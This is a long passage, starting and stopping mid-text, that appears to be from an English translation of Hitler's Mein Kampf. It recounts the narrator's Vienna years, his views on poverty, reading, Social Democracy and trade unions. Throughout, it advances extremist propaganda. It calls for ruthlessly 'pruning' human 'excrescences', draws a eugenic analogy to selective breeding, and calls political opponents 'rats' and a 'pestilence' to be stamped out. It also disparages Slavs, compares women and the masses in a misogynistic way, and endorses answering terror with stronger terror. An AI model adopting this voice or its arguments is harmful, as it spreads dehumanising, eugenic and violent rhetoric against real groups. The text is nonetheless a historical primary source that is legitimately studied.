their total lack of instinctive understanding--that +sooner or later destiny will take its vengeance unless it will have been +appeased in time. + +To-day I fervidly thank Providence for having sent me to such a school. +There I could not refuse to take an interest in matters that did not +please me. This school soon taught me a profound lesson. + +In order not to despair completely of the people among whom I then lived +I had to set on one side the outward appearances of their lives and on +the other the reasons why they had developed in that way. Then I could +hear everything without discouragement; for those who emerged from all +this misfortune and misery, from this filth and outward degradation, +were not human beings as such but rather lamentable results of +lamentable laws. In my own life similar hardships prevented me from +giving way to a pitying sentimentality at the sight of these degraded +products which had finally resulted from the pressure of circumstances. +No, the sentimental attitude would be the wrong one to adopt. + +Even in those days I already saw that there was a two-fold method by +which alone it would be possible to bring about an amelioration of these +conditions. This method is: first, to create better fundamental +conditions of social development by establishing a profound feeling for +social responsibilities among the public; second, to combine this +feeling for social responsibilities with a ruthless determination to +prune away all excrescences which are incapable of being improved. + +Just as Nature concentrates its greatest attention, not to the +maintenance of what already exists but on the selective breeding of +offspring in order to carry on the species, so in human life also it is +less a matter of artificially improving the existing generation--which, +owing to human characteristics, is impossible in ninety-nine cases out +of a hundred--and more a matter of securing from the very start a better +road for future development. + +During my struggle for existence in Vienna I perceived very clearly that +the aim of all social activity must never be merely charitable relief, +which is ridiculous and useless, but it must rather be a means to find a +way of eliminating the fundamental deficiencies in our economic and +cultural life--deficiencies which necessarily bring about the +degradation of the individual or at least lead him towards such +degradation. The difficulty of employing every means, even the most +drastic, to eradicate the hostility prevailing among the working classes +towards the State is largely due to an attitude of uncertainty in +deciding upon the inner motives and causes of this contemporary +phenomenon. The grounds of this uncertainty are to be found exclusively +in the sense of guilt which each individual feels for having permitted +this tragedy of degradation. For that feeling paralyses every effort at +making a serious and firm decision to act. And thus because the people +whom it concerns are vacillating they are timid and half-hearted in +putting into effect even the measures which are indispensable for +self-preservation. When the individual is no longer burdened with his +own consciousness of blame in this regard, then and only then will he +have that inner tranquillity and outer force to cut off drastically and +ruthlessly all the parasite growth and root out the weeds. + +But because the Austrian State had almost no sense of social rights or +social legislation its inability to abolish those evil excrescences was +manifest. + +I do not know what it was that appalled me most at that time: the +economic misery of those who were then my companions, their crude +customs and morals, or the low level of their intellectual culture. + +How often our bourgeoisie rises up in moral indignation on hearing from +the mouth of some pitiable tramp that it is all the same to him whether +he be a German or not and that he will find himself at home wherever he +can get enough to keep body and soul together. They protest sternly +against such a lack of 'national pride' and strongly express their +horror at such sentiments. + +But how many people really ask themselves why it is that their own +sentiments are better? How many of them understand that their natural +pride in being members of so favoured a nation arises from the +innumerable succession of instances they have encountered which remind +them of the greatness of the Fatherland and the Nation in all spheres of +artistic and cultural life? How many of them realize that pride in the +Fatherland is largely dependent on knowledge of its greatness in all +those spheres? Do our bourgeois circles ever think what a ridiculously +meagre share the people have in that knowledge which is a necessary +prerequisite for the feeling of pride in one's fatherland? + +It cannot be objected here that in other countries similar conditions +exist and that nevertheless the working classes in those countries have +remained patriotic. Even if that were so, it would be no excuse for our +negligent attitude. But it is not so. What we call chauvinistic +education--in the case of the French people, for example--is only the +excessive exaltation of the greatness of France in all spheres of +culture or, as the French say, civilization. The French boy is not +educated on purely objective principles. Wherever the importance of the +political and cultural greatness of his country is concerned he is +taught in the most subjective way that one can imagine. + +This education will always have to be confined to general ideas in a +large perspective and these ought to be deeply engraven, by constant +repetition if necessary, on the memories and feelings of the people. + +In our case, however, we are not merely guilty of negative sins of +omission but also of positively perverting the little which some +individuals had the luck to learn at school. The rats that poison our +body-politic gnaw from the hearts and memories of the broad masses even +that little which distress and misery have left. + +Let the reader try to picture the following: + +There is a lodging in a cellar and this lodging consists of two damp +rooms. In these rooms a workman and his family live--seven people in +all. Let us assume that one of the children is a boy of three years. +That is the age at which children first become conscious of the +impressions which they receive. In the case of highly gifted people +traces of the impressions received in those early years last in the +memory up to an advanced age. Now the narrowness and congestion of those +living quarters do not conduce to pleasant inter-relations. Thus +quarrels and fits of mutual anger arise. These people can hardly be said +to live with one another, but rather down on top of one another. The +small misunderstandings which disappear of themselves in a home where +there is enough space for people to go apart from one another for a +while, here become the source of chronic disputes. As far as the +children are concerned the situation is tolerable from this point of +view. In such conditions they are constantly quarrelling with one +another, but the quarrels are quickly and entirely forgotten. But when +the parents fall out with one another these daily bickerings often +descend to rudeness such as cannot be adequately imagined. The results +of such experiences must become apparent later on in the children. One +must have practical experience of such a MILIEU so as to be able to +picture the state of affairs that arises from these mutual +recriminations when the father physically assaults the mother and +maltreats her in a fit of drunken rage. At the age of six the child can +no longer ignore those sordid details which even an adult would find +revolting. Infected with moral poison, bodily undernourished, and the +poor little head filled with vermin, the young 'citizen' goes to the +primary school. With difficulty he barely learns to read and write. +There is no possibility of learning any lessons at home. Quite the +contrary. The father and mother themselves talk before the children in +the most disparaging way about the teacher and the school and they are +much more inclined to insult the teachers than to put their offspring +across the knee and knock sound reason into him. What the little fellow +hears at home does not tend to increase respect for his human +surroundings. Here nothing good is said of human nature as a whole and +every institution, from the school to the government, is reviled. +Whether religion and morals are concerned or the State and the social +order, it is all the same; they are all scoffed at. When the young lad +leaves school, at the age of fourteen, it would be difficult to say what +are the most striking features of his character, incredible ignorance in +so far as real knowledge is concerned or cynical impudence combined with +an attitude towards morality which is really startling at so young an +age. + +What station in life can such a person fill, to whom nothing is sacred, +who has never experienced anything noble but, on the contrary, has been +intimately acquainted with the lowest kind of human existence? This +child of three has got into the habit of reviling all authority by the +time he is fifteen. He has been acquainted only with moral filth and +vileness, everything being excluded that might stimulate his thought +towards higher things. And now this young specimen of humanity enters +the school of life. + +He leads the same kind of life which was exemplified for him by his +father during his childhood. He loiters about and comes home at all +hours. He now even black-guards that broken-hearted being who gave him +birth. He curses God and the world and finally ends up in a House of +Correction for young people. There he gets the final polish. + +And his bourgeois contemporaries are astonished at the lack of +'patriotic enthusiasm' which this young 'citizen' manifests. + +Day after day the bourgeois world are witnesses to the phenomenon of +spreading poison among the people through the instrumentality of the +theatre and the cinema, gutter journalism and obscene books; and yet +they are astonished at the deplorable 'moral standards' and 'national +indifference' of the masses. As if the cinema bilge and the gutter press +and suchlike could inculcate knowledge of the greatness of one's +country, apart entirely from the earlier education of the individual. + +I then came to understand, quickly and thoroughly, what I had never been +aware of before. It was the following: + +The question of 'nationalizing' a people is first and foremost one of +establishing healthy social conditions which will furnish the grounds +that are necessary for the education of the individual. For only when +family upbringing and school education have inculcated in the individual +a knowledge of the cultural and economic and, above all, the political +greatness of his own country--then, and then only, will it be possible +for him to feel proud of being a citizen of such a country. I can fight +only for something that I love. I can love only what I respect. And in +order to respect a thing I must at least have some knowledge of it. + +As soon as my interest in social questions was once awakened I began to +study them in a fundamental way. A new and hitherto unknown world was +thus revealed to me. + +In the years 1909-10 I had so far improved my, position that I no longer +had to earn my daily bread as a manual labourer. I was now working +independently as draughtsman, and painter in water colours. This MÉTIER +was a poor one indeed as far as earnings were concerned; for these were +only sufficient to meet the bare exigencies of life. Yet it had an +interest for me in view of the profession to which I aspired. Moreover, +when I came home in the evenings I was now no longer dead-tired as +formerly, when I used to be unable to look into a book without falling +asleep almost immediately. My present occupation therefore was in line +with the profession I aimed at for the future. Moreover, I was master of +my own time and could distribute my working-hours now better than +formerly. I painted in order to earn my bread, and I studied because I +liked it. + +Thus I was able to acquire that theoretical knowledge of the social +problem which was a necessary complement to what I was learning through +actual experience. I studied all the books which I could find that dealt +with this question and I thought deeply on what I read. I think that the +MILIEU in which I then lived considered me an eccentric person. + +Besides my interest in the social question I naturally devoted myself +with enthusiasm to the study of architecture. Side by side with music, I +considered it queen of the arts. To study it was for me not work but +pleasure. I could read or draw until the small hours of the morning +without ever getting tired. And I became more and more confident that my +dream of a brilliant future would become true, even though I should have +to wait long years for its fulfilment. I was firmly convinced that one +day I should make a name for myself as an architect. + +The fact that, side by side with my professional studies, I took the +greatest interest in everything that had to do with politics did not +seem to me to signify anything of great importance. On the contrary: I +looked upon this practical interest in politics merely as part of an +elementary obligation that devolves on every thinking man. Those who +have no understanding of the political world around them have no right +to criticize or complain. On political questions therefore I still +continued to read and study a great deal. But reading had probably a +different significance for me from that which it has for the average run +of our so-called 'intellectuals'. + +I know people who read interminably, book after book, from page to page, +and yet I should not call them 'well-read people'. Of course they 'know' +an immense amount; but their brain seems incapable of assorting and +classifying the material which they have gathered from books. They have +not the faculty of distinguishing between what is useful and useless in +a book; so that they may retain the former in their minds and if +possible skip over the latter while reading it, if that be not possible, +then--when once read--throw it overboard as useless ballast. Reading is +not an end in itself, but a means to an end. Its chief purpose is to +help towards filling in the framework which is made up of the talents +and capabilities that each individual possesses. Thus each one procures +for himself the implements and materials necessary for the fulfilment of +his calling in life, no matter whether this be the elementary task of +earning one's daily bread or a calling that responds to higher human +aspirations. Such is the first purpose of reading. And the second +purpose is to give a general knowledge of the world in which we live. In +both cases, however, the material which one has acquired through reading +must not be stored up in the memory on a plan that corresponds to the +successive chapters of the book; but each little piece of knowledge thus +gained must be treated as if it were a little stone to be inserted into +a mosaic, so that it finds its proper place among all the other pieces +and particles that help to form a general world-picture in the brain of +the reader. Otherwise only a confused jumble of chaotic notions will +result from all this reading. That jumble is not merely useless, but it +also tends to make the unfortunate possessor of it conceited. For he +seriously considers himself a well-educated person and thinks that he +understands something of life. He believes that he has acquired +knowledge, whereas the truth is that every increase in such 'knowledge' +draws him more and more away from real life, until he finally ends up in +some sanatorium or takes to politics and becomes a parliamentary deputy. + +Such a person never succeeds in turning his knowledge to practical +account when the opportune moment arrives; for his mental equipment is +not ordered with a view to meeting the demands of everyday life. His +knowledge is stored in his brain as a literal transcript of the books he +has read and the order of succession in which he has read them. And if +Fate should one day call upon him to use some of his book-knowledge for +certain practical ends in life that very call will have to name the book +and give the number of the page; for the poor noodle himself would never +be able to find the spot where he gathered the information now called +for. But if the page is not mentioned at the critical moment the +widely-read intellectual will find himself in a state of hopeless +embarrassment. In a high state of agitation he searches for analogous +cases and it is almost a dead certainty that he will finally deliver the +wrong prescription. + +If that is not a correct description, then how can we explain the +political achievements of our Parliamentary heroes who hold the highest +positions in the government of the country? Otherwise we should have to +attribute the doings of such political leaders, not to pathological +conditions but simply to malice and chicanery. + +On the other hand, one who has cultivated the art of reading will +instantly discern, in a book or journal or pamphlet, what ought to be +remembered because it meets one's personal needs or is of value as +general knowledge. What he thus learns is incorporated in his mental +analogue of this or that problem or thing, further correcting the mental +picture or enlarging it so that it becomes more exact and precise. +Should some practical problem suddenly demand examination or solution, +memory will immediately select the opportune information from the mass +that has been acquired through years of reading and will place this +information at the service of one's powers of judgment so as to get a +new and clearer view of the problem in question or produce a definitive +solution. + +Only thus can reading have any meaning or be worth while. + +The speaker, for example, who has not the sources of information ready +to hand which are necessary to a proper treatment of his subject is +unable to defend his opinions against an opponent, even though those +opinions be perfectly sound and true. In every discussion his memory +will leave him shamefully in the lurch. He cannot summon up arguments to +support his statements or to refute his opponent. So long as the speaker +has only to defend himself on his own personal account, the situation is +not serious; but the evil comes when Chance places at the head of public +affairs such a soi-disant know-it-all, who in reality knows nothing. + +From early youth I endeavoured to read books in the right way and I was +fortunate in having a good memory and intelligence to assist me. From +that point of view my sojourn in Vienna was particularly useful and +profitable. My experiences of everyday life there were a constant +stimulus to study the most diverse problems from new angles. Inasmuch as +I was in a position to put theory to the test of reality and reality to +the test of theory, I was safe from the danger of pedantic theorizing on +the one hand and, on the other, from being too impressed by the +superficial aspects of reality. + +The experience of everyday life at that time determined me to make a +fundamental theoretical study of two most important questions outside of +the social question. + +It is impossible to say when I might have started to make a thorough +study of the doctrine and characteristics of Marxism were it not for the +fact that I then literally ran head foremost into the problem. + +What I knew of Social Democracy in my youth was precious little and that +little was for the most part wrong. The fact that it led the struggle +for universal suffrage and the secret ballot gave me an inner +satisfaction; for my reason then told me that this would weaken the +Habsburg regime, which I so thoroughly detested. I was convinced that +even if it should sacrifice the German element the Danubian State could +not continue to exist. Even at the price of a long and slow Slaviz-ation +of the Austrian Germans the State would secure no guarantee of a really +durable Empire; because it was very questionable if and how far the +Slavs possessed the necessary capacity for constructive politics. +Therefore I welcomed every movement that might lead towards the final +disruption of that impossible State which had decreed that it would +stamp out the German character in ten millions of people. The more this +babel of tongues wrought discord and disruption, even in the Parliament, +the nearer the hour approached for the dissolution of this Babylonian +Empire. That would mean the liberation of my German Austrian people, and +only then would it become possible for them to be re-united to the +Motherland. + +Accordingly I had no feelings of antipathy towards the actual policy of +the Social Democrats. That its avowed purpose was to raise the level of +the working classes--which in my ignorance I then foolishly +believed--was a further reason why I should speak in favour of Social +Democracy rather than against it. But the features that contributed most +to estrange me from the Social Democratic movement was its hostile +attitude towards the struggle for the conservation of Germanism in +Austria, its lamentable cocotting with the Slav 'comrades', who received +these approaches favourably as long as any practical advantages were +forthcoming but otherwise maintained a haughty reserve, thus giving the +importunate mendicants the sort of answer their behaviour deserved. + +And so at the age of seventeen the word 'Marxism' was very little known +to me, while I looked on 'Social Democracy' and 'Socialism' as +synonymous expressions. It was only as the result of a sudden blow from +the rough hand of Fate that my eyes were opened to the nature of this +unparalleled system for duping the public. + +Hitherto my acquaintance with the Social Democratic Party was only that +of a mere spectator at some of their mass meetings. I had not the +slightest idea of the social-democratic teaching or the mentality of its +partisans. All of a sudden I was brought face to face with the products +of their teaching and what they called their WELTANSCHAUUNG. In this +way a few months sufficed for me to learn something which under other +circumstances might have necessitated decades of study--namely, that +under the cloak of social virtue and love of one's neighbour a veritable +pestilence was spreading abroad and that if this pestilence be not +stamped out of the world without delay it may eventually succeed in +exterminating the human race. + +I first came into contact with the Social Democrats while working in the +building trade. + +From the very time that I started work the situation was not very +pleasant for me. My clothes were still rather decent. I was careful of +my speech and I was reserved in manner. I was so occupied with thinking +of my own present lot and future possibilities that I did not take much +of an interest in my immediate surroundings. I had sought work so that I +shouldn't starve and at the same time so as to be able to make further +headway with my studies, though this headway might be slow. Possibly I +should not have bothered to be interested in my companions were it not +that on the third or fourth day an event occurred which forced me to +take a definite stand. I was ordered to join the trade union. + +At that time I knew nothing about the trades unions. I had had no +opportunity of forming an opinion on their utility or inutility, as the +case might be. But when I was told that I must join the union I refused. +The grounds which I gave for my refusal were simply that I knew nothing +about the matter and that anyhow I would not allow myself to be forced +into anything. Probably the former reason saved me from being thrown out +right away. They probably thought that within a few days I might be +converted' and become more docile. But if they thought that they were +profoundly mistaken. After two weeks I found it utterly impossible for +me to take such a step, even if I had been willing to take it at first. +During those fourteen days I came to know my fellow workmen better, and +no power in the world could have moved me to join an organization whose +representatives had meanwhile shown themselves in a light which I found +so unfavourable. + +During the first days my resentment was aroused. + +At midday some of my fellow workers used to adjourn to the nearest +tavern, while the others remained on the building premises and there ate +their midday meal, which in most cases was a very scanty one. These were +married men. Their wives brought them the midday soup in dilapidated +vessels. Towards the end of the week there was a gradual increase in the +number of those who remained to eat their midday meal on the building +premises. I understood the reason for this afterwards. They now talked +politics. + +I drank my bottle of milk and ate my morsel of bread somewhere on the +outskirts, while I circumspectly studied my environment or else fell to +meditating on my own harsh lot. Yet I heard more than enough. And I +often thought that some of what they said was meant for my ears, in the +hope of bringing me to a decision. But all that I heard had the effect +of arousing the strongest antagonism in me. Everything was +disparaged--the nation, because it was held to be an invention of the +'capitalist' class (how often I had to listen to that phrase!); the +Fatherland, because it was held to be an instrument in the hands of the +bourgeoisie for the exploitation of' the working masses; the authority +of the law, because that was a means of holding down the proletariat; +religion, as a means of doping the people, so as to exploit them +afterwards; morality, as a badge of stupid and sheepish docility. There +was nothing that they did not drag in the mud. + +At first I remained silent; but that could not last very long. Then I +began to take part in the discussion and to reply to their statements. I +had to recognize, however, that this was bound to be entirely fruitless, +as long as I did not have at least a certain amount of definite +information about the questions that were discussed. So I decided to +consult the source from which my interlocutors claimed to have drawn +their so-called wisdom. I devoured book after book, pamphlet after +pamphlet. + +Meanwhile, we argued with one another on the building premises. From day +to day I was becoming better informed than my companions in the subjects +on which they claimed to be experts. Then a day came when the more +redoubtable of my adversaries resorted to the most effective weapon they +had to replace the force of reason. This was intimidation and physical +force. Some of the leaders among my adversaries ordered me to leave the +building or else get flung down from the scaffolding. As I was quite +alone I could not put up any physical resistance; so I chose the first +alternative and departed, richer however by an experience. + +I went away full of disgust; but at the same time so deeply moved that +it was quite impossible for me to turn my back on the whole situation +and think no more about it. When my anger began to calm down the spirit +of obstinacy got the upper hand and I decided that at all costs I would +get back to work again in the building trade. This decision became all +the stronger a few weeks later, when my little savings had entirely run +out and hunger clutched me once again in its merciless arms. No +alternative was left to me. I got work again and had to leave it for the +same reasons as before. + +Then I asked myself: Are these men worthy of belonging to a great +people? The question was profoundly disturbing; for if the answer were +'Yes', then the struggle to defend one's nationality is no longer worth +all the trouble and sacrifice we demand of our best elements if it be in +the interests of such a rabble. On the other hand, if the answer had to +be 'No--these men are not worthy of the nation', then our nation is poor +indeed in men. During those days of mental anguish and deep meditation I +saw before my mind the ever-increasing and menacing army of people who +could no longer be reckoned as belonging to their own nation. + +It was with quite a different feeling, some days later, that I gazed on +the interminable ranks, four abreast, of Viennese workmen parading at a +mass demonstration. I stood dumbfounded for almost two hours, watching +that enormous human dragon which slowly uncoiled itself there before me. +When I finally left the square and wandered in the direction of my +lodgings I felt dismayed and depressed. On my way I noticed the +ARBEITERZEITUNG (The Workman's Journal) in a tobacco shop. This was the +chief press-organ of the old Austrian Social Democracy. In a cheap café, +where the common people used to foregather and where I often went to +read the papers, the ARBEITERZEITUNG was also displayed. But hitherto I +could not bring myself to do more than glance at the wretched thing for +a couple of minutes: for its whole tone was a sort of mental vitriol to +me. Under the depressing influence of the demonstration I had witnessed, +some interior voice urged me to buy the paper in that tobacco shop and +read it through. So I brought it home with me and spent the whole +evening reading it, despite the steadily mounting rage provoked by this +ceaseless outpouring of falsehoods. + +I now found that in the social democratic daily papers I could study the +inner character of this politico-philosophic system much better than in +all their theoretical literature. + +For there was a striking discrepancy between the two. In the literary +effusions which dealt with the theory of Social Democracy there was a +display of high-sounding phraseology about liberty and human dignity and +beauty, all promulgated with an air of profound wisdom and serene +prophetic assurance; a meticulously-woven glitter of words to dazzle and +mislead the reader. On the other hand, the daily Press inculcated this +new doctrine of human redemption in the most brutal fashion. No means +were too base, provided they could be exploited in the campaign of +slander. These journalists were real virtuosos in the art of twisting +facts and presenting them in a deceptive form. The theoretical +literature was intended for the simpletons of the soi-disant +intellectuals belonging to the middle and, naturally, the upper classes. +The newspaper propaganda was intended for the masses. + +This probing into books and newspapers and studying the teachings of +Social Democracy reawakened my love for my own people. And thus what at +first seemed an impassable chasm became the occasion of a closer +affection. + +Having once understood the working of the colossal system for poisoning +the popular mind, only a fool could blame the victims of it. During the +years that followed I became more independent and, as I did so, I became +better able to understand the inner cause of the success achieved by +this Social Democratic gospel. I now realized the meaning and purpose of +those brutal orders which prohibited the reading of all books and +newspapers that were not 'red' and at the same time demanded that only +the 'red' meetings should be attended. In the clear light of brutal +reality I was able to see what must have been the inevitable +consequences of that intolerant teaching. + +The PSYCHE of the broad masses is accessible only to what is strong and +uncompromising. Like a woman whose inner sensibilities are not so much +under the sway of abstract reasoning but are always subject to the +influence of a vague emotional longing for the strength that completes +her being, and who would rather bow to the strong man than dominate the +weakling--in like manner the masses of the people prefer the ruler to +the suppliant and are filled with a stronger sense of mental security by +a teaching that brooks no rival than by a teaching which offers them a +liberal choice. They have very little idea of how to make such a choice +and thus they are prone to feel that they have been abandoned. They feel +very little shame at being terrorized intellectually and they are +scarcely conscious of the fact that their freedom as human beings is +impudently abused; and thus they have not the slightest suspicion of the +intrinsic fallacy of the whole doctrine. They see only the ruthless +force and brutality of its determined utterances, to which they always +submit. + +IF SOCIAL DEMOCRACY SHOULD BE OPPOSED BY A MORE TRUTHFUL TEACHING, THEN +EVEN, THOUGH THE STRUGGLE BE OF THE BITTEREST KIND, THIS TRUTHFUL +TEACHING WILL FINALLY PREVAIL PROVIDED IT BE ENFORCED WITH EQUAL +RUTHLESSNESS. + +Within less than two years I had gained a clear understanding of Social +Democracy, in its teaching and the technique of its operations. + +I recognized the infamy of that technique whereby the movement carried +on a campaign of mental terrorism against the bourgeoisie, who are +neither morally nor spiritually equipped to withstand such attacks. The +tactics of Social Democracy consisted in opening, at a given signal, a +veritable drum-fire of lies and calumnies against the man whom they +believed to be the most redoubtable of their adversaries, until the +nerves of the latter gave way and they sacrificed the man who was +attacked, simply in the hope of being allowed to live in peace. But the +hope proved always to be a foolish one, for they were never left in +peace. + +The same tactics are repeated again and again, until fear of these mad +dogs exercises, through suggestion, a paralysing effect on their +Victims. + +Through its own experience Social Democracy learned the value of +strength, and for that reason it attacks mostly those in whom it scents +stuff of the more stalwart kind, which is indeed a very rare possession. +On the other hand it praises every weakling among its adversaries, more +or less cautiously, according to the measure of his mental qualities +known or presumed. They have less fear of a man of genius who lacks +will-power than of a vigorous character with mediocre intelligence and +at the same time they highly commend those who are devoid of +intelligence and will-power. + +The Social Democrats know how to create the impression that they alone +are the protectors of peace. In this way, acting very circumspectly but +never losing sight of their ultimate goal, they conquer one position +after another, at one time by methods of quiet intimidation and at +another time by sheer daylight robbery, employing these latter tactics +at those moments when public attention is turned towards other matters +from which it does not wish to be diverted, or when the public considers +an incident too trivial to create a scandal about it and thus provoke +the anger of a malignant opponent. + +These tactics are based on an accurate estimation of human frailties and +must lead to success, with almost mathematical certainty, unless the +other side also learns how to fight poison gas with poison gas. The +weaker natures must be told that here it is a case of to be or not to +be. + +I also came to understand that physical intimidation has its +significance for the mass as well as for the individual. Here again the +Socialists had calculated accurately on the psychological effect. + +Intimidation in workshops and in factories, in assembly halls and at +mass demonstrations, will always meet with success as long as it does +not have to encounter the same kind of terror in a stronger form. + +Then of course the Party will raise a horrified outcry, yelling blue +murder and appealing to the authority of the State, which they have just +repudiated. In doing this their aim generally is to add to the general +confusion, so that they may have a better opportunity of reaching their +own goal unobserved. Their idea is to find among the higher government +officials some bovine creature who, in the stupid hope that he may win +the good graces of these awe-inspiring opponents so that they may +remember him in case of future eventualities, will help them now to +break all those who may oppose this world pest. + +The impression which such successful tactics make on the minds of the +broad masses, whether they be adherents or opponents, can be estimated +only by one who knows the popular mind, not from books but from +practical life. For the successes which are thus obtained are taken by +the adherents of Social Democracy as a triumphant symbol of the +righteousness of their own cause; on the other hand the beaten opponent +very often loses faith in the effectiveness of any further resistance. + +The more I understood the methods of physical intimidation that were +employed, the more sympathy I had for the multitude that had succumbed +to it. + +I am thankful now for the ordeal which I had to go through at that time; +for it was the means of bringing me to think kindly again of my own +people, inasmuch as the experience enabled me to distinguish between the +false leaders and the victims who have been led astray. + +We must look upon the latter simply as victims. I have just now tried to +depict a few traits which express the mentality of those on the lowest +rung of the social ladder; but my picture would be disproportionate if I +do not add that amid the social depths I still found light; for I +experienced a rare spirit of self-sacrifice and loyal comradeship among +those men, who demanded little from life and were content amid their +modest surroundings. This was true especially of the older generation of +workmen. And although these qualities were disappearing more and more in +the younger generation, owing to the all-pervading influence of the big +city, yet among the younger generation also there were many who were +sound at the core and who were able to maintain themselves +uncontaminated amid the sordid surroundings of their everyday existence. +If these men, who in many cases meant well and were upright in +themselves, gave the support to the political activities carried on by +the common enemies of our people, that was because those decent +workpeople did not and could not grasp the downright infamy of the +doctrine taught by the socialist agitators. Furthermore, it was because +no other section of the community bothered itself about the lot of the +working classes. Finally, the social conditions became such that men who +otherwise would have acted differently were forced to submit to them, +even though unwillingly at first. A day came when poverty gained the +upper hand and drove those workmen into the Social Democratic ranks. + +On innumerable occasions the bourgeoisie took a definite stand against +even the most legitimate human demands of the working classes. That +conduct was ill-judged and indeed immoral and could bring no gain +whatsoever to the bourgeois class. The result was that the honest +workman abandoned the original concept of the trades union organization +and was dragged into politics. + +There were millions and millions of workmen who began by being hostile +to the Social Democratic Party; but their defences were repeatedly +stormed and finally they had to surrender. Yet this defeat was due to +the stupidity of the bourgeois parties, who had opposed every social +demand put forward by the working class. The short-sighted refusal to +make an effort towards improving labour conditions, the refusal to adopt +measures which would insure the workman in case of accidents in the +factories, the refusal to forbid child labour, the refusal to consider +protective measures for female workers, especially expectant +mothers--all this was of assistance to the Social Democratic leaders, +who were thankful for every opportunity which they could exploit for +forcing the masses into their net. Our bourgeois parties can never +repair the damage that resulted from the mistake they then made. For +they sowed the seeds of hatred when they opposed all efforts at social +reform. And thus they gave, at least, apparent grounds to justify the +claim put forward by the Social Democrats--namely, that they alone stand +up for the interests of the working class. + +And this became the principal ground for the moral justification of the +actual existence of the Trades Unions, so that the labour organization +became from that time onwards the chief political recruiting ground to +swell the ranks of the Social Democratic Party. + +While thus studying the social conditions around me I was forced, +whether I liked it or not, to decide on the attitude I should take +towards the Trades Unions. Because I looked upon them as inseparable +from the Social Democratic Party, my decision was hasty--and mistaken. I +repudiated them as a matter of course. But on this essential question +also Fate intervened and gave me a lesson, with the result that I +changed the opinion which I had first formed. + +When I was twenty years old I had learned to distinguish between the +Trades Union as a means of defending the social rights of the employees +and fighting for better living conditions for them and, on the other +hand, the Trades Union as a political instrument used by the Party in +the class struggle. + +The Social Democrats understood the enormous importance of the Trades +Union movement. They appropriated it as an instrument and used it with +success, while the bourgeois parties failed to understand it and thus +lost their political prestige. They thought that their own arrogant VETO +would arrest the logical development of the movement and force it into +an illogical position. But it is absurd and also untrue to say that the +Trades Union movement is in itself hostile to the nation. The opposite +is the more correct view. If the activities of the Trades Union are +directed towards improving the condition of a class, and succeed in +doing so, such activities are not against the Fatherland or the State +but are, in the truest sense of the word, national. In that way the +trades union organization helps to create the social conditions which +are indispensable in a general system of national education. It deserves +high recognition when it destroys the psychological and physical germs +of social disease and thus fosters the general welfare of the nation. + +It is superfluous to ask whether the Trades Union is indispensable. + +So long as there are employers who attack social understanding and have +wrong ideas of justice and fair play it is not only the right but also +the duty of their employees--who are, after all, an integral part of our +people--to protect the general interests against the greed and unreason +of the individual. For to safeguard the loyalty and confidence of the +people is as much in the interests of the nation as to safeguard public +health. + +Both are seriously menaced by dishonourable employers who are not +conscious of their duty as members of the national community. Their +personal avidity or irresponsibility sows the seeds of future trouble. +To eliminate the causes of such a development is an action that surely +deserves well of the country. + +It must not be answered here that the individual workman is free at any +time to escape from the consequences of an injustice which he has +actually suffered at the hands of an employer, or which he thinks he has +suffered--in other words, he can leave. No. That argument is only a ruse +to detract attention from the question at issue. Is it, or is it not, in +the interests of the nation to remove the causes of social unrest? If it +is, then the fight must be carried on with the only weapons that promise +success. But the individual workman is never in a position to stand up +against the might of the big employer; for the question here is not one +that concerns the triumph of right. If in such a relation right had been +recognized as the guiding principle, then the conflict could not have +arisen at all. But here it is a question of who is the stronger. If the +case were otherwise, the sentiment of justice alone would solve the +dispute in an honourable way; or, to put the case more correctly, +matters would not have come to such a dispute at all. + +No. If unsocial and dishonourable treatment of men provokes resistance, +then the stronger party can impose its decision in the conflict until +the constitutional legislative authorities do away with the evil through +legislation. Therefore it is evident that if the individual workman is +to have any chance at all of winning through in the struggle he must be +grouped with his fellow workmen and present a united front before the +individual employer, who incorporates in his own person the massed +strength of the vested interests in the industrial or commercial +undertaking which he conducts. + +Thus the trades unions can hope to inculcate and strengthen a sense of +social responsibility in workaday life and open the road to practical +results. In doing this they tend to remove those causes of friction +which are a continual source of discontent and complaint. + +Blame for the fact that the trades unions do not fulfil this +much-desired function must be laid at the doors of those who barred the +road to legislative social reform, or rendered such a reform ineffective +by sabotaging it through their political influence. + +The political bourgeoisie failed to understand--or, rather, they did not +wish to understand--the importance of the trades union movement. The +Social Democrats accordingly seized the advantage offered them by this +mistaken policy and took the labour movement under their exclusive +protection, without any protest from the other side. In this way they +established for themselves a solid bulwark behind which they could +safely retire whenever the struggle assumed a critical aspect. Thus the +genuine purpose of the movement gradually fell into oblivion, and was +replaced by new objectives. For the Social Democrats never troubled +themselves to respect and uphold the original purpose for which the +trade unionist movement was founded. They simply took over the Movement, +lock, stock and barrel, to serve their own political ends. + +Within a few decades the Trades Union Movement was transformed, by the +expert hand of Social Democracy, from an instrument which had been +originally fashioned for the defence of human rights into an instrument +for the destruction of the national economic structure. The interests of +the working class were not allowed for a moment to cross the path of +this purpose; for in politics the application of economic pressure is +always possible if the one side be sufficiently unscrupulous and the +other sufficiently inert and docile. In this case both conditions were +fulfilled. + +By the beginning of the present century the Trades Unionist Movement had +already ceased to recognize the purpose for which it had been founded. +From year to year it fell more and more under the political control of +the Social Democrats, until it finally came to be used as a +battering-ram in the class struggle. The plan was to shatter, by means +of constantly repeated blows, the economic edifice in the building of +which so much time and care had been expended. Once this objective had +been reached, the destruction of the State would become a matter of +course, because the State would already have been deprived of its +economic foundations. Attention to the real interests of the +working-classes, on the part of the Social Democrats, steadily decreased +until the cunning leaders saw that it would be in their immediate +political interests if the social and cultural demands of the broad +masses remained unheeded; for there was a danger that if these masses +once felt content they could no longer be employed as mere passive +material in the political struggle. + +The gloomy prospect which presented itself to the eyes of the +CONDOTTIERI of the class warfare, if the discontent of the masses were +no longer available as a war weapon, created so much anxiety among them +that they suppressed and opposed even the most elementary measures of +social reform. And conditions were such that those leaders did not have +to trouble about attempting to justify such an illogical policy. + +As the masses were taught to increase and heighten their demands the +possibility of satisfying them dwindled and whatever ameliorative +measures were taken became less and less significant; so that it was at +that time possible to persuade the masses that this ridiculous measure +in which the most sacred claims of the working-classes were being +granted represented a diabolical plan to weaken their fighting power in +this easy way and, if possible, to paralyse it. One will not be +astonished at the success of these allegations if one remembers what a +small measure of thinking power the broad masses possess. + +In the bourgeois camp there was high indignation over the bad faith of +the Social Democratic tactics; but nothing was done to draw a practical +conclusion and organize a counter attack from the bourgeois side. The +fear of the Social Democrats, to improve the miserable conditions of the +working-classes ought to have induced the bourgeois parties to make the +most energetic efforts in this direction and thus snatch from the hands +of the class-warfare leaders their most important weapon; but nothing of +this kind happened. + +Instead of attacking the position of their adversaries the bourgeoisie +allowed itself to be pressed and 